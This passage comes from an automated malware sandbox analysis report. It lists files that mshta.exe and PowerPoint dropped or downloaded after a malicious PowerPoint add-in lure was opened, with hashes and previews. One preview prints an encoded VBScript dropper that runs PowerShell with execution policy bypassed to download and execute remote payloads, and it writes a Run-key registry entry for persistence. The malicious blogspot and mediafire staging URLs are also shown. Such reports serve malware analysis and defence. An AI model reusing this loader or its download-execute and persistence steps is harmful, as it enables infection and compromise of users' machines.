Message = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var 
L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var 
L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLo
ad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 
cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\googlelogo_color_150x54dp[1].png
Process: C:\Windows\System32\mshta.exe

File Type: PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 3170

Entropy (8bit): 7.934630496764965

Encrypted: false

SSDEEP: 96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq

MD5: 9D73B3AA30BCE9D8F166DE5178AE4338

SHA1: D0CBC46850D8ED54625A3B2B01A2C31F37977E75

SHA-256: DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139

SHA-512: 8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058

Malicious: false

IE Cache URL: www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png

Preview:
.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(..*.N_R."0`.-.A..|.*N..`....n..{.&..l.o..;.....a....d..$.................J.1.*.....7+.c...o..T/.~V.r.....D.
.G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c
...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4|.F...9......pP.8.|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b.
.L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....
w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}*......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\robot[1].png
Process: C:\Windows\System32\mshta.exe

File Type: PNG image data, 171 x 213, 8-bit colormap, non-interlaced

Category: downloaded

Size (bytes): 6327

Entropy (8bit): 7.917392761938663

Encrypted: false

SSDEEP: 192:fqjwqVtaVHyEy9BWc2AwJ+3qg1f6WUBIT8mIKPNc93Y8Nm:Yk3WBkAkg1CWUCwmIKS93O

MD5: 4C9ACF280B47CEF7DEF3FC91A34C7FFE

SHA1: C32BB847DAF52117AB93B723D7C57D8B1E75D36B

SHA-256: 5F9FC5B3FBDDF0E72C5C56CDCFC81C6E10C617D70B1B93FBE1E4679A8797BFF7

SHA-512: 369D5888E0D19B46CB998EA166D421F98703AEC7D82A02DC7AE10409AEC253A7CE099D208500B4E39779526219301C66C2FD59FE92170B324E70CF63CE2B429C

Malicious: false

IE Cache URL: www.google.com/images/errors/robot.png

Preview:
.PNG........IHDR...................WPLTE...z..z........2........W..{..V........z.....2..3.....V..2..................W.....>`......tRNS.............................Y..j....IDATx....BcI.@A.s..HX....k.0c...T.?n./.
~....b....GM.Gu.c...?.{5.5...4.'.o<...i.O.n<.f..?).g.&..8.E4..tl.4.G.o4.....'.....\......._ ...../.~..<......../.~^.}...?...~...Z../.~.]._ ...I. .Q.Y....YQu..i..4.._ |S...A.-.-h...9...o...k.....9o..?N
.U,../+...Z.y...nbMu....4O.7>..Y.-L=J..q..`.B^{4~.p...bR.j.....Gq=..]&..7Y)G6.....A.h`i]...Pd.'.7....9.2...2x.........&..a0N..By.Y.C.*.S......nR.-..A[5.....|.p...+v...d\e..]Yq;.&q0..F.c.....
p3.&.`..!q..}...k.g5n#........NG-.9...C..[.7.n.v..u......{o.C&n!.(.G7.JA.'6..{(<....p....:..!=..1.f.."..n.8....~o..N.3l..p.[....*......r..6..z...(.g1qA.[....q.v+..&...B{.I.\..-.....S.y&.......J.Wn!|D.
....+...y.....9.......> .j......{.....K\X.n!..e.I.+'...j...-pA.[..2...8g.DO.#.?p.. ....-.w5.d......4....n..!q..=..Gu.X..O.........sN.h.q..n!..qP

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\1397508952-widgets[1].js
Process: C:\Windows\System32\mshta.exe

File Type: ASCII text, with very long lines

Category: downloaded

Size (bytes): 157960

Entropy (8bit): 5.562168145367505

Encrypted: false
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SSDEEP: 1536:0g3IWQCnQKAk/F3sMWa9Mhfzb4qXZISSwgD/HpKP1o+cDicpHqKMiFi95s72t7x4:hOK33u3hZ4gPW4322Yf49QL

MD5: 10ABD44F7D526A256A6EAD8F0847226D

SHA1: 046336B3B36F51238BC910B1A727A6E994607A6E

SHA-256: 0A39CCD00E6D85D3527A8E66D2DEFFF303013C8A77829F146E5C9FD22BAF4BCF

SHA-512: D1A288F165A77B4EAA5F734675A850902AB489E0CEE78E1E98A4D9DB88CE64681AF7896A788FAA5913E907192E00CAD2279CFC970B2173C3E7118076C6CC8447

Malicious: false

IE Cache URL: https://www.blogger.com/static/v1/widgets/1397508952-widgets.js

Preview:
(function(){var aa="&action=",ba=".wikipedia.org",ca="CSSStyleDeclaration",da="Clobbering detected",ea="Edge",fa="Element",ha="GET",ia="Never attached to DOM.",
ja="Node",ka="SPAN",la="STYLE",ma="SW_READER_LIST_",na="SW_READER_LIST_CLOSED_",oa="Share this post",pa="Symbol.iterator",qa="_blank",ra="ab
out:invalid#zClosurez",sa="about:invalid#zSoyz",ta="attributes",ua="block",va="click",wa="collapsed",xa="collapsible",ya="comment-editor",za="commentId",Aa="com
plete",Ba="contact-form-email",Ca="contact-form-email-message",.Da="contact-form-error-message",Ea="contact-form-error-message-with-border",Fa="contact-form-nam
e",Ga="contact-form-submit",Ha="contact-form-success-message",Ia="contact-form-success-message-with-border",Ja="data-height",Ka="data-sanitizer-",La="data-viewu
rl",Ma="displayModeFull",Na="displayModeLayout",Oa="displayModeNone",l="div",Pa="dropdown-toggle",Qa="error",Ra="expanded",Sa="followers-grid",m="func
tion",Ta="getAttribute",Ua="getElementsByTagName",Va="getPropertyValue

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\1397508952-widgets[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\blogin[1].htm
Process: C:\Windows\System32\mshta.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 517

Entropy (8bit): 5.472235021394732

Encrypted: false

SSDEEP: 12:oEdG5eq/Pd4R+KXo1BMPAL0clKlXAmHnkMPAL0clKlXAmHL:HE/14RloLfwBnFoLfwBL

MD5: FAD69C383523C489367BEDC8D9BB69CF

SHA1: 4A6FF93BD64B56B05E66A886AA019FE3EA842F98

SHA-256: 9B71B0053EE833248581CE504C430B3EA30D0D3B62D5B7F7A246BC4B86CF914A

SHA-512: B63D2C006541C1C167EFC46C7A640FC4BB3D9EFBFA47A1AC06394704421768763991C2E643BE5518902E6CFCEAADC086D47DD85E21C93D7AB5022A01FD6C4F9
0

Malicious: false

Preview:
<HTML>.<HEAD>.<TITLE>Moved Temporarily</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">.<H1>Moved Temporarily</H1>.The document has 
moved <A HREF="https://accounts.google.com/ServiceLogin?passive=true&amp;continue=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkw
ldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&amp;followup=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.c
om/p/20.html%26type%3Dblog%26bpli%3D1&amp;go=true">here</A>..</BODY>.</HTML>.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\1529571102-css_bundle_v2[1].css
Process: C:\Windows\System32\mshta.exe

File Type: ASCII text, with very long lines

Category: downloaded

Size (bytes): 36071

Entropy (8bit): 5.154379775710442

Encrypted: false

SSDEEP: 384:B0OhFvg3AwN6VysImDyPWquJMpx/SCYW0h8+Rl9yaZwuJ86YKSQCNL/J69nKg937:B0Oh+/N6nIm6IvW0trVJw1gngRdFr2

MD5: 61A626E88858A0DEFA4B03652F937FBF

SHA1: 75732E3C8BD961FB80DDCA5E9E6FCE510675A0A0

SHA-256: 0BCD5919BF34C7672EE85E44FD8C6A695A7FFBDD2126F4E54CAECCA5CA6996EB

SHA-512: A461C82866D50CBC0CF8C02B2A7B066FDB05B409596C981AC7099CEEE9DC339132081C83FBB354A6395130CABD1117B87C0816D8E9CE47012A1843180F8F6386

Malicious: false

IE Cache URL: https://www.blogger.com/static/v1/widgets/1529571102-css_bundle_v2.css

Preview:
body{margin:0;padding:0 0 1px}.content-outer,.header-outer,.tabs-outer,.main-outer,.main-inner,.footer-outer,.post,.comments,.widget,.date-header,.inline-ad{position:rela
tive;min-height:0;_position:static;_height:1%}.footer-outer{margin-bottom:-1px}.content-inner{padding:10px}.tabs-inner{padding:0 15px}.main-inner{padding:30px 0}.main-
inner .column-center-inner,.main-inner .column-left-inner,.main-inner .column-right-inner{padding:0 15px}.footer-inner{padding:30px 15px}.section{margin:0 15px}.wi
dget{margin:30px 0;_margin:0 0 10px}.section:first-child .widget:first-child{margin-top:0}.section:first-child #uds-searchControl+.widget{margin-top:0}.section:last-child 
.widget:last-child{margin-bottom:0}.tabs:first-child .widget{margin-bottom:0}body .navbar{height:30px;padding:0;margin:0}body .navbar .Navbar{position:absolute;z-index:1
0;left:0;width:100%;margin:0;padding:0;background:none;border:none}.header-inner .section{margin:0}.header-inner .widget{margin-left:30px;margin-right:30px}.hea

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\20[1].doc
Process: C:\Windows\System32\mshta.exe

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 2887

Entropy (8bit): 4.85358842448038

Encrypted: false

SSDEEP: 48:7oafiViuZsgqXCMIDoeX0a0XeHA2PPb4Qjx0u1v8v1G2gro6x3gnMLP49T:EaSFsfCMSzcF2PdztqBuNIMk9T

MD5: F088BF5A101A83D6427246ABA56AD499

SHA1: A3388650AC8210FC257A120D3C054BEFA06D44B3

SHA-256: 1459B85004D298CB4B4A14672FD42787757C92C7ACC9B4250B231588C08B3097

Copyright Joe Security LLC 2021 Page 17 of 90



SHA-512: 244D0F6721433809D1085EE0FFAB6DE875C902A58C9CE7B39975FE270CB48009948890C4BAF836875644DEDC9EC7ADC664A2BFC114CC82569EC90EA7ABA24A5
D

Malicious: false

Preview:
<script>..  ..document.write(unescape("%3CHTML%3E%0A%3CHTML%3E%0A%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/htm
l%3B%20charset%3Dutf-8%22%3E%0A%3CHEAD%3E%0A%3Cscript%20language%3D%22VBScript%22%3E%0Apink%20%3D%20%22pOwersHelL.exe%20-
NoProfile%20-ExecutionPolicy%20Bypass%20-Command%20i%27E%27x%28iwr%28%27https%3A//8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db
3b9_91603714ac3947ce8b64f4db8b2d0c07.txt%3Fdn%3Dkofkefjikdaowkdoaw%27%29%20-useB%29%3Bi%27E%27x%28iwr%28%27https%3A//8db3b91a-ea93-419b-
b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt%3Fdn%3Dasdoawkdajicqujwdi%27%29%20-useB%29%3B%22%0A%0AC
onst%20tpok%20%3D%20%26H80000001%0Alopaskkk%20%3D%20%22.%22%0ASet%20kasodkmwm%20%3D%20GetObject%28%22winmgmts%3A%5C%5C%2
2%20%26%20lopaskkk%20%26%20%22%5Croot%5Cdefault%3AStdRegProv%22%29%0Apoloaosd%20%3D%20%22SOFTWARE%5CMicrosoft%5CWindows%
5CCurrentVersion%5CRun%22%0Aakosdwdjdw%20%3D%20%22cjjhkloggw%22%0Akasodkmwm.SetStringValue%20tpok%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\20[1].doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\20[1].htm

Process: C:\Windows\System32\mshta.exe

File Type: HTML document, ASCII text, with very long lines

Category: downloaded

Size (bytes): 83531

Entropy (8bit): 4.630213821997026

Encrypted: false

SSDEEP: 384:drryX3o35xCHMsV1oHHXfPWdpP13TNVVVVhtptptptptnHcVnu4pMGXXrkeeELK1:Yo3eyHHvPWdHpSnu4pMGXXrdFv2B7

MD5: 8378FC4427088C54DEFE0912175F660C

SHA1: 3EEF443F491D0FDFF9825334A2EFDF64E24BEEF2

SHA-256: 4D1111E7601E961644E62824774D304451017E0FD49EE161AF10354EDE71D5FA

SHA-512: 57CBADF2E77807D4B2837AD60511B4DA7ECC9A04FF6B9148DE737EE847E8A33DB7B64EEB8C54EC6265AE8E498C3A7E53178C28385AC8FF434437C368E65B36
EE

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%

IE Cache URL: https://kdaoskdokaodkwldld.blogspot.com/p/20.html

Preview:
<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/1529571102-css_bundle_v2.css' rel='stylesheet' 
type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' na
me='generator'/>.<link href='https://kdaoskdokaodkwldld.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://kdaoskdokaodkwldld.blogspot.com/p/2
0.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title=".bck22 - Atom" href="https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default" />.<link 
rel="alternate" type="application/rss+xml" title=".bck22 - RSS" href="https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" 
type="application/atom+xml" title=".bck22 - Atom" href="https://www.blogger.com/feeds/3903609419317699398/posts/default" />.  [if IE]><script type="text/javascript" sr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\error[1]
Process: C:\Windows\System32\mshta.exe

File Type: HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: downloaded

Size (bytes): 3247

Entropy (8bit): 5.459946526910292

Encrypted: false

SSDEEP: 96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa

MD5: 16AA7C3BEBF9C1B84C9EE07666E3207F

SHA1: BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1

SHA-256: 7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754

SHA-512: 245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1

Malicious: false

IE Cache URL: res://ieframe.dll/error.dlg

Preview:
...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; 
charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_Error
Message = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var 
L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var 
L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLo
ad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 
cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ODOASODOchjdjdsfdrueruebdgbjd[1].htm
Process: C:\Windows\System32\mshta.exe

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 145

Entropy (8bit): 4.707655037736954

Encrypted: false

SSDEEP: 3:qVvzLURODccZ/vXbvx9nDycSLw3eGUocXnhKPHrAFSXbKFvNGb:qFzLIeco3XLx92jLw3eGAhK/sSLWQb

MD5: 580CAC802DCCF4C98BFC33E263E0B098

SHA1: B4C8D5E1F187263FA626F1DF5A0454074BBBF1A1

SHA-256: E46C596947E101571F317F3C8ECA8389A3A69C6213746C6EF42AF7BE4042A5AE
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SHA-512: D1C5655AC7BD03724F8D6ED5009E060AD74988407EB04656F4B9E7D94D7A6C8C2B343E8F685D18661AE4E9CB377198BA5FE30A4A5E6CD587D91505BCB7069253

Malicious: false

Preview:
<html>.<head><title>Bitly</title></head>.<body><a href="https://www.mediafire.com/file/95ggilwnqccbq6l/20.doc/file">moved here</a></body>.</html>

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ODOASODOchjdjdsfdrueruebdgbjd[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\blogin[1].htm
Process: C:\Windows\System32\mshta.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines

Category: dropped

Size (bytes): 147458

Entropy (8bit): 5.567868997743706

Encrypted: false

SSDEEP: 1536:ybSbFEe4UBAtbQGa7vZ7cjDbUFApmnNjYW69MOt9qpTdyRB00T/96S3guu5a:0SJEe4UmtZCZj+srTdyTxFSY

MD5: C433D6A3E647098079611AA87BAAAE30

SHA1: 3E338ABAD620EA83EBF632E68CA77E3AC9D76FC6

SHA-256: B1A48BB14394B701BB81837A43A6EE8F8E5118F5F61978F4B6359BA4D0EAEC7C

SHA-512: 3AFBDEAF0FB071B049EBDAC6AC73D7149B0F9A29D5D53A8133D6AA1F1922BA9EFADAD76B1FEB5A09E1913348B4393CA3E8987719FB5203F1ACDF96C8676365
2B

Malicious: false

Preview:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html dir="ltr"><head><title>Warnung zu sensiblen Inhalten</title>.<li
nk href="//fonts.googleapis.com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<meta content="adult" name="rating">.<link href="//fonts.googleapis.
com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<link href="//www.google.com/css/maia.css" rel="stylesheet" type="text/css">.<link href="https:/
/www.blogger.com/static/v1/v-css/281434096-static_pages.css" rel="stylesheet" type="text/css">.<style type="text/css">.    @font-face{font-family:'Material Icons 
Extended';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/materialiconsextended/v109/kJEjBvgX7BgnkSrUwT8UnLVc38YydejYY-oE_LvN.eot);}.  </style>
</head>.<body class="lang_de rb"><script type="text/javascript">.      window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;.      ga('create',.        
 "UA-18003-7",.     

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\body_gradient_tile_light[1].png
Process: C:\Windows\System32\mshta.exe

File Type: PNG image data, 10 x 10, 1-bit colormap, non-interlaced

Category: downloaded

Size (bytes): 95

Entropy (8bit): 4.633118599879715

Encrypted: false

SSDEEP: 3:yionv//thPlH1kmlS1jmTQ9IyehXhbp:6v/lhPcS5TeIFdhbp

MD5: 3B2A20D5B0BA4CA0C5DD90865AD6B9C4

SHA1: A90928A16D11D21E112B45B60990A9D7D19CC1D5

SHA-256: 0FDCB4746995F0D5240E5EC11370CB950722A894F3CFF4118AA68CCC92010EDD

SHA-512: EF256091EE551337B9789E8D55C558D85AF0780C2906FA971A33D36A6F9D78114A573D606DAB086816006E072CEF7029EFE4D47F7BF3BE16007CA464F3281765

Malicious: false

IE Cache URL: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png

Preview:
.PNG........IHDR...............].....PLTE...........tRNS..5.....IDAT..c.........L\....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\gradients_light[1].png
Process: C:\Windows\System32\mshta.exe

File Type: PNG image data, 20 x 1100, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 403

Entropy (8bit): 5.849127564472003

Encrypted: false

SSDEEP: 12:6v/74Qlk8WIyzs740Oc5maj4m3YULe3dk:Hgk8uw740OcWAY13dk

MD5: 4F7DE2E6AFEFB125B1F14FA5CDA610EE

SHA1: 57A145F234B504A73F9D55CF39F2231A04719456

SHA-256: ECB30886406E3F776FF7BC3834DE849944471E626FF148BED2FA389D02866044

SHA-512: 9E3C207F0931EE4C5F48E62670F33D33815CF0779AC5F719017401C20273B4E0403CE03C08643A58BA4C3B023F9C691C34E8FDA776B710DFE8EE3DBFEE7D887B

Malicious: false

IE Cache URL: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png

Preview:
.PNG........IHDR.......L............ZIDATx......A..A/.h.?0.....q..V...e%.U...V.j...d.%.P.d.%.+.(.%K.,.(.%K.,..%K.,y.d.H.,Y.d.H.,Y.d.J.,Y.d..$.E.d.."Y.d.%.P.d.%.l..%K.l..%K..B.%K..l
..%K.,.(.%K.,..%K.,Y.y.."Y.d.F.,Y.d.](Y.d....../.Q$K.,Y.d.%K6.d.%K.,Y.d.S.."Y.d.%K.,Y.d.H.,Y.d.%K.>.....................c+I....U..~.1...d.~)..d.P.o(.7..+.......................o..i........IE
ND.B`.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Acct # 3288-1258-1NQ39NGAY0GD'pdf.LNK
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Aug 30 20:08:56 2021, mtime=Mon Aug 30 20:08:56 2021, 
atime=Fri Nov 26 01:33:16 2021, length=7188, window=hide
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Category: dropped

Size (bytes): 1134

Entropy (8bit): 4.56566184092459

Encrypted: false

SSDEEP: 24:8mc/XTTc+bHfMg3soeqHRKjg3sfDv3q/Qd7Qy:8b/XTA+LfrsoZHBsO/Uj

MD5: 1D58A56FC25109F3A3608E3A8223C00A

SHA1: 79AB39F113FD09D8EFA99AB4C1C8A3C15E6F82D1

SHA-256: 5FE2BBEA10B1147E59A9C2B5D7730339907622715E75D4EB7DA3D2EB52676917

SHA-512: D2932EC287138C15748D29FB2B49F93B65A6965546C572B5948611A97A56E7807D55D1D70657D4CCB2C77A301BC5B4158B20B76D01008121D8CD8ED87B2B27E8

Malicious: false

Preview:
L..................F.... ......>......>... ..m................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.8.1.3.....L.1......S....user.8......QK.X.S..*...&=....U...............A.l.b.u.s.....z.1......S ...Desktop.d......QK.X.S .*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.
7.6.9.......2.....zS). .ACCT#3~1.PPA..z.......S...S..*.........................A.c.c.t. .#. .3.2.8.8.-.1.2.5.8.-.1.N.Q.3.9.N.G.A.Y.0.G.D.'.p.d.f...p.p.a.m.......................-...8...[............?J
......C:\Users\..#...................\\405464\Users.user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam.=.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A.c.c.t. .#. .3.2.8.8.-.1.2.5.8.-
.1.N.Q.3.9.N.G.A.Y.0.G.D.'.p.d.f...p.p.a.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Acct # 3288-1258-1NQ39NGAY0GD'pdf.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 118

Entropy (8bit): 5.127145622428688

Encrypted: false

SSDEEP: 3:bDuMJl8GGjGvO1naF56YVomxWv3FGvO1naF56YVov:bClGvONc64c3FGvONc64y

MD5: F1DC2B5A257C9BEBC1AF388B4E8B1983

SHA1: 7ECF80D7E11DED8F9399579D84CB53E3E2FDA259

SHA-256: E779BC1C64F36BD6E4B14E3F1F7DC0F08056B6EFD3ED894F5EB4D95DF239B0F9

SHA-512: 537FE7BFA573CE8F91CCB57ED23A096F7F2C4FD5D353B84D56EE6715923094147DDD6C09C17C3AE9B0876BAE34A19CCA99482FA6203E69C96CEF3E3B107FC8
C6

Malicious: false

Preview:
[folders]..Templates.LNK=0..Acct # 3288-1258-1NQ39NGAY0GD'pdf.LNK=0..[misc]..Acct # 3288-1258-1NQ39NGAY0GD'pdf.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\FJNMWAG0.txt
Process: C:\Windows\System32\mshta.exe

File Type: ASCII text

Category: downloaded

Size (bytes): 100

Entropy (8bit): 4.813948095596139

Encrypted: false

SSDEEP: 3:b55qfRUD8QeG4cSNvWRUfWH3vW2XovX:HqBQeGRi+XvPe

MD5: AC8A4A7F731CC5CBF5DFE3A744D94C2A

SHA1: 019F5EB42D4492246F3E695F0AE7B411CFF1D4C9

SHA-256: 5D6A1253D57E4E1A0C7E152C99B962571B1898B566984AF07D9A37C990A9F9ED

SHA-512: FD5043FDB019A969C6A3C496405FC80DBFB07D2F73C568626EB5F0BD223E26715D01BFD8B2920DD7BD728686B7F35D7D4ECBE8939D0AF48C9E9FA56580551751

Malicious: false

IE Cache URL: mediafire.com/

Preview:
ukey.wpgd26kulj39kjvputiz6tvqsvprqjyj.mediafire.com/.9728.3556534144.32394861.4166846851.30925422.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false
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Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

